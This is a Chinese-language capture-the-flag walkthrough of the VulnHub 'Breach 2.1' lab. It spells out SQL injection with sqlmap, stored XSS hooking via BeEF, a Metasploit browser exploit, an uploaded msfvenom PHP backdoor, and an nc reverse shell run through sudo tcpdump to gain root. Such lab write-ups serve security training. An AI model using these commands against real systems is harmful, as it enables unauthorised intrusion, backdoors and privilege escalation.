一、环境搭建
1、官方下载连接:https://www.vulnhub.com/entry/breach-21,159/
2、下载之后,将压缩包内环境解压出来,使用Oracle VM VirtualBox软件导入环境
3、因为靶场环境设置了固定ip地址192.168.110.151,所以网络模式设置仅主机,攻击机kali设置了两块网卡,第二块网卡设置的网段也为110网段,如果靶场环境打开到引导阶段无法正常启动,界面只有黑色光标闪烁,就打开设置界面,设置系统版本为Debian(64-bit)在启动即可
二、靶场攻略
1、因为知道了ip地址,所以可以直接收集端口服务信息,使用命令:nmap -A -p- 192.168.110.151,发现SSH端口不是默认的22改为了65535
2、尝试访问ssh,输入命令ssh 192.168.110.151 -p 65535,得到信息,提示如果是Peter的话密码就在源码中
使用peter账户,尝试连接ssh,看到一样的提示,将inthesource,当做密码,连接成功,但是马上就断开了连接
3、再次使用nmap扫描主机,发现多出了80端口
4、访问就页面,查看源码,没看到什么有效信息
5、使用命令:dirb http://192.168.110.151/,爆破网站目录,发现跟之前ssh提示相关的blog目录
6、访问之后,发现是个博客
在搜索框,发现了xss
有xss,就可能有注入,使用命令:sqlmap -u http://192.168.110.151/blog/index.php?search= --dbs,确实注入得到了数据库信息
7、使用命令:sqlmap -u http://192.168.110.151/blog/index.php?search= -D oscommerce --tables --dump,得到了用户名,密码
破解得到密码为admin,但是没有登录窗口
8、使用 + Copyright ©2006 Powered by www.blogphp.net,作为关键字,在谷歌搜索,搜到了博客系统版本的漏洞,漏洞是存储的xss,在注册界面,用户名输入编写的payload,可以攻击成功
9、启动kali自带的beef-xss平台,如果kali为新版没有安装beef的话,可以使用apt-get install beef-xss直接安装
10、打开192.168.110.151的注册界面,将beef的Example语句,输入到注册username注册框中,提交
11、注册成功,返回主页,点开主页发来的提示消息,一会在beef中就收到了主机上线通知
12、从beef中获取的消息来看,靶机的浏览器为firefox 15,有一个漏洞可以利用
13、启动msfconsole来利用漏洞
输入命令:use exploit/multi/browser/firefox_pro,进入要利用的exp框架
输入命令:set payload generic/shell_reverse_tcp,设置要利用exp所需要的payload
输入命令:set srvhost 192.168.110.122,设置exp所需要的服务端地址,也就是攻击机的ip
输入命令:set uripath shell,设置exp攻击成功之后的url目录
输入命令:set lhost 192.168.110.122,设置payload的ip地址
输入命令:run,启动一次攻击,生成利用的url连接
14、在beef中,找到Redirect Browser模块,这个模块是把浏览器重定向到输入的url连接中,输入之前msf产生的url之后,点击Execute
在msf中马上收到了session信息
因为浏览器的shell会在连接了5秒钟之后失效,所以要在获取到session之后,将迁移shell进程到meterpreter中,获得一个稳定的shell
输入命令: use post/multi/manage/shell_to_meterpreter,进入到转移shell用的模块
输入命令:set session 3,设置要转义的session号
输入命令:run,启动转移,成功转义,获得稳定的shell,session 4
15、输入命令 python -c 'import pty;pty.spawn("/bin/bash")',获得标准shell
16、因为之前ssh以peter用户登录之后,会瞬间踢掉,然后服务器启动了apache服务,所以去看一下ssh的配置信息,发现了配置文件最下边,如果使用peter账户登录会执行startme脚本
查看脚本,是sudo的方式执行启动apache服务,之后就踢掉
继续收集信息,查看电脑开启的端口,发现一个不常见的2323端口
17、在获得的shell中使用命令telnet 127.0.0.1 2323命令,尝试连接,获得一个坐标:29 45'46" N 95 22'59" W
谷歌地图查询坐标,看是一个公园,在Houston Police Memorial
继续收集信息,查看账户有一个可能跟地名有关的账户:milton
18、输入命令telnet 127.0.0.1 2323,账户名输入milton,密码使用Houston,看来是成功了,但是又出现一个提示问题whose stapler is it?
19、因为不知道答案,所以退出telnet链接,输入命令:find /usr -user milton,搜索有关账户milton的文件,搜索到了一个属于账户的脚本/usr/local/bin/cd.py
查看源码,知道了答案为:mine
再次使用telnet 127.0.0.1 2323连接,成功登录milton账户
20、登录milton账户之后,收集信息,发现系统又启动了一个8888端口
访问端口,看到两个网页
index.nginx-debian.html为nginx默认首页,没什么利用价值
21、看文件目录名称,像是之前通过sql注入得到的那系统的管理员密码所在的网站,所以访问http://192.168.110.151:8888/oscommerce/admin/,出现登陆界面,输入账号密码,admin成功登录网站后台管理
22、在tools-->file manager,文件管理器中,发现了在includes-->work目录,有可写入权限
23、使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.123 LPORT=5555 -f raw > shell.php,制作一个反弹shell的脚本,用来上传
24、返回到msfconsole界面
输入命令:use exploit/multi/handler,切换exp模块
输入命令:set payload php/meterpreter/reverse_tcp,使用payload为之前生成后门所用的payload
输入命令:set lhost 192.168.110.123,设置用来接收shell的ip,也就是之前使用
输入命令:set lport 5555,就是之前生成后门所设置的端口
输入命令:run,启动exp,等待接收shell
25、将生成的后门文件进行上传,点击upload,选择生成的shell.php,再点击upload即可
26、在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php,访问之后,mef顺利接收到shell
25、开始进行提权,输入命令:sudo -l,发现root不需要密码的命令为tcpdump
26、利用tcpdump进行提权
首先在kali攻击机上执行命令:nc -lvvp 1993
然后在msf刚得到的shell中
输入命令:echo "nc 192.168.110.123 1993 -e /bin/bash"> /tmp/shell.sh,在/tmp目录下写入shell.sh脚本
输入命令:chmod +x /tmp/shell.sh,给shell.sh脚本执行权限
输入命令:sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root,使用tcpdump命令,
执行完成之后,发现已经反弹shell到kali的攻击机中,权限为root权限
27、得到flag,使用命令,cd /root,切换到root目录,直接ls发现是空目录,输入命令:ls -la,看到隐藏文件,发现了.flag.py
输入命令:python .flag.py,得到最后的flag
完